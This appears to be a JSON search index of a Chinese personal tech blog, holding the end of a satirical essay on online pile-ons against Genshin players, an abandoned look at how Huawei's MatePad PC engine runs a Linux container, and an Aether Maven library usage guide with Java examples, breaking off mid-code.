…(循环)\u003c/p\u003e\u003cp\u003e既然,大家都需要上厕所,街头一个OP厕所可能不够用吗,那么就需要建立新的厕所。\u003c/p\u003e\u003cp\u003e新的厕所从哪里来?从之前的、现在的、未来可能的刻板印象中来,并且需要什么条件?刻板印象、用户群体发言权弱、无从争辩、选择上升的群体适当。\u003c/p\u003e\u003cp\u003e按照这个标准,人们上厕所才会上的大方、上的尽兴、上的爽快。\u003c/p\u003e\u003cp\u003e进而,大家接受街头上厕所后,便可能改变排泄这一行为,从生活所迫,变为娱乐所需。即,需要找任何理由去进行之间的攻击,不然无从释放在经济发展与身心发展不匹配的社会下的情绪积累。\u003c/p\u003e\u003cp\u003e综上,OP将不再只是OP,而是人人皆是OP,只需要上述条件,即可街头尽是厕所。当所有人都裸奔的时候,便不必在意衣着得体。\u003c/p\u003e\u003ch2 id=\"综述\"\u003e\u003ca href=\"#综述\" class=\"headerlink\" title=\"综述\"\u003e\u003c/a\u003e综述\u003c/h2\u003e\u003cp\u003e人人尽笑OP,人人尽是OP。\u003c/p\u003e\u003cp\u003e在抽象互联网时代,大部分人并不会分析好坏,只要来排泄的人多了,遍地尽是厕所。OP并不是一个人人格的浓缩,而是某一恶意人群某一行为在同群体下其他人身上的稀释。被沾染上排泄味道,或者,认为某处是有、应该有厕所的味道,那么他即是厕所,随着看客的增多,它也确实变成了厕所。\u003c/p\u003e\u003cp\u003e“不是因为‘他’玩原神,只是因为他‘玩原神’。”\u003c/p\u003e","url":"https://xiue233.github.io/2023/10/19/essay-genshin-phenomena-in-society/"},{"title":"平板PC引擎的研究(华为MatePad)#已咕咕咕","time":"2023-09-13T12:28:49Z","content":"\u003cp\u003e因为里面的东西基本上都写死了,没什么可玩性,就咕咕了,感兴趣可以自己去反编译一下,学习下实现的原理。\u003c/p\u003e\n\u003cp\u003e本文章,咕咕咕,不再完善了。\u003c/p\u003e\n\u003ch2 id=\"序言\"\u003e\u003ca href=\"#序言\" class=\"headerlink\" title=\"序言\"\u003e\u003c/a\u003e\u003chr /\u003e\u003cp\u003e因为里面的东西基本上都写死了,没什么可玩性,就咕咕了,感兴趣可以自己去反编译一下,学习下实现的原理。\u003c/p\u003e\u003cp\u003e本文章,咕咕咕,不再完善了。\u003c/p\u003e\u003ch2 id=\"序言\"\u003e\u003ca href=\"#序言\" class=\"headerlink\" title=\"序言\"\u003e\u003c/a\u003e序言\u003c/h2\u003e\u003cp\u003e因为华子的平板手写功能还算可以,在国内的平板里算是好的,价格也能接受,于是买了一个 Matepad11 2021 款。桌面上默认有一个 \u003ccode\u003eWPS for PC\u003c/code\u003e 图标,也就是所宣传的:自研PC引擎,打造PC级办公软件。打开后可以看到,是Linux下WPS的界面,在关于里面也确实写着是 \u003ccode\u003eWPS for Linux\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e那么PC引擎是怎么实现的呢?\u003c/p\u003e\u003ch2 id=\"切入点\"\u003e\u003ca href=\"#切入点\" class=\"headerlink\" title=\"切入点\"\u003e\u003c/a\u003e切入点\u003c/h2\u003e\u003cp\u003e要想研究它的原理,肯定是找到相关的代码实现最为靠谱。不妨简单分析一下:\u003c/p\u003e\u003col\u003e\u003cli\u003e桌面上的图标被点击后是通过\u003ccode\u003eIntent\u003c/code\u003e调起应用,那么必定会先由Java层处理(即使是Native方法也是由JVM调起的),既然由Java层处理,那么在Android下必然会存在一个app来包含此操作;\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e2.同理,既然\u003ccode\u003eWPS for PC\u003c/code\u003e有桌面图标,则必定存在相关功能APP。\u003c/p\u003e\u003cp\u003e之后,打开应用管理,可以搜索到一个相关应用:《华为 PC 应用引擎》。\u003c/p\u003e\u003ch2 id=\"华为-PC-应用引擎-的APK分析\"\u003e\u003ca href=\"#华为-PC-应用引擎-的APK分析\" class=\"headerlink\" title=\"华为 PC 应用引擎 的APK分析\"\u003e\u003c/a\u003e华为 PC 应用引擎 的APK分析\u003c/h2\u003e\u003cp\u003e话不多说,apktool伺候,简单的\u003ccode\u003ejava -jar apktool.jar d pc_engine.apk\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"实现原理简单分析\"\u003e\u003ca href=\"#实现原理简单分析\" class=\"headerlink\" title=\"实现原理简单分析\"\u003e\u003c/a\u003e实现原理简单分析\u003c/h3\u003e\u003cp\u003e实际上就是在根目录下建了个文件夹,通过\u003ccode\u003eiSula容器引擎\u003c/code\u003e实现了一个Linux容器,在里面利用Remote Desktop Procotol实现界面的展示。\u003c/p\u003e\u003ch3 id=\"相关代码\"\u003e\u003ca href=\"#相关代码\" class=\"headerlink\" title=\"相关代码\"\u003e\u003c/a\u003e相关代码\u003c/h3\u003e\u003ch4 id=\"启动-HslDaemon\"\u003e\u003ca href=\"#启动-HslDaemon\" class=\"headerlink\" title=\"启动 HslDaemon\"\u003e\u003c/a\u003e启动 HslDaemon\u003c/h4\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e\u003cspan class=\"hljs-type\"\u003eIntent\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eintent2\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eIntent\u003c/span\u003e();\u003cbr\u003eintent2.setFlags(\u003cspan class=\"hljs-number\"\u003e268435456\u003c/span\u003e);\u003cbr\u003eintent2.setComponent(\u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eComponentName\u003c/span\u003e(\u003cspan class=\"hljs-string\"\u003e\u0026quot;com.huawei.hsl\u0026quot;\u003c/span\u003e, \u003cspan class=\"hljs-string\"\u003e\u0026quot;com.huawei.hsl.MainActivity\u0026quot;\u003c/span\u003e));\u003cbr\u003e\u003cspan class=\"hljs-type\"\u003eBundle\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003ebundle\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eBundle\u003c/span\u003e();\u003cbr\u003ebundle.putString(\u003cspan class=\"hljs-string\"\u003e\u0026quot;com.huawei.hsldaemon.appName\u0026quot;\u003c/span\u003e, \u003cspan class=\"hljs-string\"\u003e\u0026quot;HslDaemon\u0026quot;\u003c/span\u003e);\u003cbr\u003eintent2.putExtras(bundle);\u003cbr\u003eactivity.startActivity(intent2)\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e","url":"https://xiue233.github.io/2023/09/13/pc-engine-in-huawei-matepad/"},{"title":"Aether使用指南(主体功能概述)","time":"2023-09-09T14:42:41Z","content":"\u003cp\u003e相关文章:《\u003ca href=\"/2023/09/05/aether-in-android/\" title=\"Aether在Android中的适配探索\"\u003eAether在Android中的适配探索\u003c/a\u003e》\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e本文所用Aether版本为1.1.0。\u003c\u003chr /\u003e\u003cp\u003e相关文章:《\u003ca href=\"/2023/09/05/aether-in-android/\" title=\"Aether在Android中的适配探索\"\u003eAether在Android中的适配探索\u003c/a\u003e》\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e本文所用Aether版本为1.1.0。\u003c/strong\u003e\u003c/p\u003e\u003ch2 id=\"Get-Started\"\u003e\u003ca href=\"#Get-Started\" class=\"headerlink\" title=\"Get Started\"\u003e\u003c/a\u003eGet Started\u003c/h2\u003e\u003cp\u003eAether作为一个具有依赖注入(Dependency Injection)设计思想的库,它的主体System只能接受所依赖工具的interface实现,所以我们在调用前需要完成所需工具类的初始化(或是指定类,由Aether进行主动实例化)。\u003c/p\u003e\u003cp\u003eAether提供了\u003ccode\u003eorg.apache.maven.repository.internal.MavenRepositorySystemUtils\u003c/code\u003e工具类以方便快速配置,虽然但是,我们仍需创建一个Factory来封装完整的初始化逻辑。\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.repository.internal.MavenRepositorySystemUtils;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.connector.wagon.WagonProvider;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.connector.wagon.WagonRepositoryConnectorFactory;\u003cbr\u003e\u003cbr\u003e...\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003estatic\u003c/span\u003e RepositorySystem \u003cspan class=\"hljs-title function_\"\u003enewRepositorySystem\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e()\u003c/span\u003e\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDefaultServiceLocator\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003elocator\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e MavenRepositorySystemUtils.newServiceLocator();\u003cbr\u003e locator.addService( RepositoryConnectorFactory.class, BasicRepositoryConnectorFactory.class );\u003cbr\u003e locator.addService( TransporterFactory.class, FileTransporterFactory.class );\u003cbr\u003e locator.addService( TransporterFactory.class, HttpTransporterFactory.class );\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e locator.getService( RepositorySystem.class );\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003estatic\u003c/span\u003e RepositorySystemSession \u003cspan class=\"hljs-title function_\"\u003enewSession\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e( RepositorySystem system )\u003c/span\u003e\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDefaultRepositorySystemSession\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003esession\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e MavenRepositorySystemUtils.newSession();\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eLocalRepository\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003elocalRepo\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eLocalRepository\u003c/span\u003e(\u003cspan class=\"hljs-string\"\u003e\u0026quot;依赖库文件储存路径\u0026quot;\u003c/span\u003e);\u003cbr\u003e session.setLocalRepositoryManager(system.newLocalRepositoryManager(session,localRepo));\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e session;\u003cbr\u003e \u0026#125;\u003cbr\u003e...\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e完成初始化逻辑封装后,假如需要下载一个远程依赖(例如,\u003ccode\u003eorg.apache.maven:maven-profile:2.2.1\u003c/code\u003e)我们只需:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e\u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e( String[] args )\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e Exception\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eRepositorySystem\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003erepoSystem\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e newRepositorySystem();\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eRepositorySystemSession\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003esession\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e newSession( repoSystem );\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDependency\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003edependency\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDependency\u003c/span\u003e( \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultArtifact\u003c/span\u003e( \u003cspan class=\"hljs-string\"\u003e\u0026quot;org.apache.maven:maven-profile:2.2.1\u0026quot;\u003c/span\u003e ), \u003cspan class=\"hljs-string\"\u003e\u0026quot;compile\u0026quot;\u003c/span\u003e );\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eRemoteRepository\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003ecentral\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eRemoteRepository\u003c/span\u003e.Builder( \u003cspan class=\"hljs-string\"\u003e\u0026quot;central\u0026quot;\u003c/span\u003e, \u003cspan class=\"hljs-string\"\u003e\u0026quot;default\u0026quot;\u003c/span\u003e, \u003cspan class=\"hljs-string\"\u003e\u0026quot;http://repo1.maven.org/maven2/\u0026quot;\u003c/span\u003e ).build();\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eCollectRequest\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003ecollectRequest\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eCollectRequest\u003c/span\u003e();\u003cbr\u003e collectRequest.setRoot( dependency );\u003cbr\u003e collectRequest.addRepository( central );\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDependencyNode\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003enode\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e repoSystem.collectDependencies( session, collectRequest ).getRoot();\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDependencyRequest\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003edependencyRequest\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDependencyRequest\u003c/span\u003e();\u003cbr\u003e dependencyRequest.setRoot( node );\u003cbr\u003e\u003cbr\u003e repoSystem.resolveDependencies( session, dependencyRequest );\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003ePreorderNodeListGenerator\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003enlg\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003ePreorderNodeListGenerator\u003c/span\u003e();\u003cbr\u003e node.accept( nlg );\u003cbr\u003e System.out.println( nlg.getClassPath() );\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e运行后,便可在设置的本地仓库(Local Repository)文件夹下找到已下载的依赖库文件。\u003c/p\u003e\u003cp\u003e具体代码的内容也很清晰易懂:\u003cbr\u003e首先,Factory完成的是仓库连接与传输、本地仓库缓存的配置设置;\u003c/p\u003e\u003cp\u003e在main()方法内,初始化system(Repository系统及其功能的主要入口点)以及session(定义控制Repository系统的设置和组件),再创建一个Dependency(需要下载的依赖);\u003c/p\u003e\u003cp\u003e依赖必定需要从MavenRepository内查找,所以我们还需要RemoteRepository作为指定的远程仓库(注意:RemoteRepository可以同时添加多个,会依次查找);\u003c/p\u003e\u003cp\u003e进行Dependency的下载前,需要构建其依赖关系树,以下载其及其所需子依赖,构建依赖关系树前需要查询,则下一步进行的是CollectRequest,设置其rootDependency为所需依赖(必定为依赖树的root),并添加需要查找的RemoteRepository;\u003c/p\u003e\u003cp\u003e下一步即为依赖树的构建,repoSystem.collectDependencies()获取DependencyResult,再调用DependencyResult.getRoot()获取树的根节点,得到依赖树;\u003c/p\u003e\u003cp\u003eDependencyRequest用于初始化一个Dependency下载请求,设置root为刚刚得到的依赖树根节点即可,调用RepositorySystem.resolveDependencies(session,dependencyRequest)即可进行下载工作。可能会比较疑惑下载到哪里了,实际上可以知道在newSystemSession()方法内,我们进行session的初始化时已经设置了LocalRepository作为本地仓库,即缓存文件存放位置。\u003c/p\u003e\u003cp\u003eTips: 最后的PreorderNodeListGenerator实质上不会对依赖下载产生影响,只是官方提供的一个遍历依赖树的示例。\u003c/p\u003e\u003ch2 id=\"Aether开发逻辑介绍\"\u003e\u003ca href=\"#Aether开发逻辑介绍\" class=\"headerlink\" title=\"Aether开发逻辑介绍\"\u003e\u003c/a\u003eAether开发逻辑介绍\u003c/h2\u003e\u003cp\u003eAPI部分建议自行浏览Aether的源代码,只需要了解基本的开发逻辑,则根据名字以及注释很容易上手。\u003c/p\u003e\u003cul\u003e\u003cli\u003eAether使用的是依赖注入(Dependency Injection)这一设计模式,在使用RepositorySystem之前,必须从DefaultServiceLocator中进行初始化。DefaultServiceLocator在初始化时便以默认配置了需要类,我们按需添加缺失的必要类即可。在完成配置之后,Aether会通过DefaultServiceLocator.getService()方法得到需要的interface(当然是已经实例化的),所以我们可以通过addService()在不修改Aether代码的情况下,更改一些核心逻辑,实现高度的自定义化;同时需要强调的是,我们也应该通过DefaultServiceLocator.getService()进行所需interface的获取。\u003c/li\u003e\u003cli\u003eAether的所有操作基本上都是先创建一个XxxRequest,然后通过System执行对应的操作逻辑,结果是返回一个XxxResult。例如,Get Started代码中main()方法内的CollectRequest和DependencyRequest。且XxxRequest为Final Class,自行初始化即可。\u003c/li\u003e\u003cli\u003e特别注意,RepositorySystem需要通过DefaultServiceLocator得到的,通过依赖注入,RepositorySystem会自动获取DefaultServiceLocator中所需要的类;RepositorySystemSession则是配置信息的载体,需要自己通过代码设置配置信息。\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"常见操作需求\"\u003e\u003ca href=\"#常见操作需求\" class=\"headerlink\" title=\"常见操作需求\"\u003e\u003c/a\u003e常见操作需求\u003c/h2\u003e\u003ch3 id=\"下载Dependency\"\u003e\u003ca href=\"#下载Dependency\" class=\"headerlink\" title=\"下载Dependency\"\u003e\u003c/a\u003e下载Dependency\u003c/h3\u003e\u003cp\u003e见 \u003ca href=\"#get-started\"\u003eGet Started\u003c/a\u003e 不再赘述。\u003c/p\u003e\u003ch3 id=\"获取某一Artifact的缓存路径\"\u003e\u003ca href=\"#获取某一Artifact的缓存路径\" class=\"headerlink\" title=\"获取某一Artifact的缓存路径\"\u003e\u003c/a\u003e获取某一Artifact的缓存路径\u003c/h3\u003e\u003col\u003e\u003cli\u003e通过RepositorySystemSession.getLocalRepositoryManager()获取LocalRepositoryManager;\u003c/li\u003e\u003cli\u003e调用LocalRepositoryManager.getPathForLocalArtifact()\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"常见Model的初始化\"\u003e\u003ca href=\"#常见Model的初始化\" class=\"headerlink\" title=\"常见Model的初始化\"\u003e\u003c/a\u003e常见Model的初始化\u003c/h2\u003e\u003col\u003e\u003cli\u003eArtifact\u003cbr\u003e调用DefaultArtifact的构造方法即可,需要传入coords(坐标,诸如org.apache.maven:maven-profile:2.2.1格式),也有其他构造方法,具体自行浏览API。\u003c/li\u003e\u003cli\u003eDependency\u003cbr\u003e调用Dependency的构造方法,并传入Artifact及scope(\u003ca href=\"https://www.baeldung.com/maven-dependency-scopes\"\u003eMaven Scope\u003c/a\u003e)等参数即可。\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"常见问题-已解决\"\u003e\u003ca href=\"#常见问题-已解决\" class=\"headerlink\" title=\"常见问题(已解决)\"\u003e\u003c/a\u003e常见问题(已解决)\u003c/h2\u003e\u003ch3 id=\"无法自动识别依赖文件类型为AAR的Artifact\"\u003e\u003ca href=\"#无法自动识别依赖文件类型为AAR的Artifact\" class=\"headerlink\" title=\"无法自动识别依赖文件类型为AAR的Artifact\"\u003e\u003c/a\u003e无法自动识别依赖文件类型为AAR的Artifact\u003c/h3\u003e\u003cp\u003e因为我的初衷是用在android ide上,下载aar文件是不可避免的,但是从\u003ccode\u003eorg.eclipse.aether.artifact.DefaultArtifact\u003c/code\u003e的构造方法可以看到(见下面的代码),默认的extension是jar,并且extension是final修饰的。\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e...\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003eDefaultArtifact\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(String coords, Map\u0026lt;String, String\u0026gt; properties)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eMatcher\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003em\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e COORDINATE_PATTERN.matcher(coords);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (!m.matches()) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eIllegalArgumentException\u003c/span\u003e(\u003cspan class=\"hljs-string\"\u003e\u0026quot;Bad artifact coordinates \u0026quot;\u003c/span\u003e + coords\u003cbr\u003e + \u003cspan class=\"hljs-string\"\u003e\u0026quot;, expected format is \u0026lt;groupId\u0026gt;:\u0026lt;artifactId\u0026gt;[:\u0026lt;extension\u0026gt;[:\u0026lt;classifier\u0026gt;]]:\u0026lt;version\u0026gt;\u0026quot;\u003c/span\u003e);\u003cbr\u003e \u0026#125;\u003cbr\u003e groupId = m.group(\u003cspan class=\"hljs-number\"\u003e1\u003c/span\u003e);\u003cbr\u003e artifactId = m.group(\u003cspan class=\"hljs-number\"\u003e2\u003c/span\u003e);\u003cbr\u003e extension = get(m.group(\u003cspan class=\"hljs-number\"\u003e4\u003c/span\u003e), \u003cspan class=\"hljs-string\"\u003e\u0026quot;jar\u0026quot;\u003c/span\u003e); \u003cspan class=\"hljs-comment\"\u003e//this line\u003c/span\u003e\u003cbr\u003e classifier = get(m.group(\u003cspan class=\"hljs-number\"\u003e6\u003c/span\u003e), \u003cspan 